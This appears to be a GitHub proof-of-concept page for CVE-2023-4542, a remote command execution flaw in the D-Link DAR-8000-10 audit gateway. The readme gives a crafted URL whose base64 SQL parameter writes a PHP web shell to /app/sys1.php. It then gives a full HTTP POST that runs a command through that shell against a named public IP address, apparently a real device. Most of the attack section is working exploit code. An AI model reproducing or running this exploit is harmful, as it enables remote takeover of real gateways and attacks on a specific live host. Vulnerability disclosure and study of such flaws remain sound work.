CVE-2023-4542 PoC — D-Link DAR-8000-10 sys1.php os command injection

Source

https://github.com/PumpkinBridge/CVE-2023-4542

Associated Vulnerability

Title:D-Link DAR-8000-10 sys1.php os command injection (CVE-2023-4542)
Description:A vulnerability was found in D-Link DAR-8000-10 up to 20230809. It has been classified as critical. This affects an unknown part of the file /app/sys1.php. The manipulation of the argument cmd with the input id leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238047. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Readme

# poc
The D-LINK-DAR-8000-10 Online behavior audit gateway has rce vulnerabilities

official website:http://www.dlink.com.cn/

version:D-LINK  DAR-8000-10

See the login page.

![图片](https://github.com/PumpkinBridge/cve/assets/139355470/b82244f0-4d4e-4b89-ab81-cba76871f4ac)

Construct url:
https://ip:port/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn
After downloading
Then execute poc:
```
POST /app/sys1.php HTTP/1.1
Host: 60.22.74.195:8443
Cookie: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

cmd=id
```
![图片](https://github.com/PumpkinBridge/cve/assets/139355470/63a02104-208f-4579-830f-3cd99a1178c8)

File Snapshot


 [4.0K]  /data/pocs/d61f8fc9697c845e59849f8835003d267624eb69
├── [1.2K]  rce.md
└── [1.2K]  README.md

0 directories, 2 files

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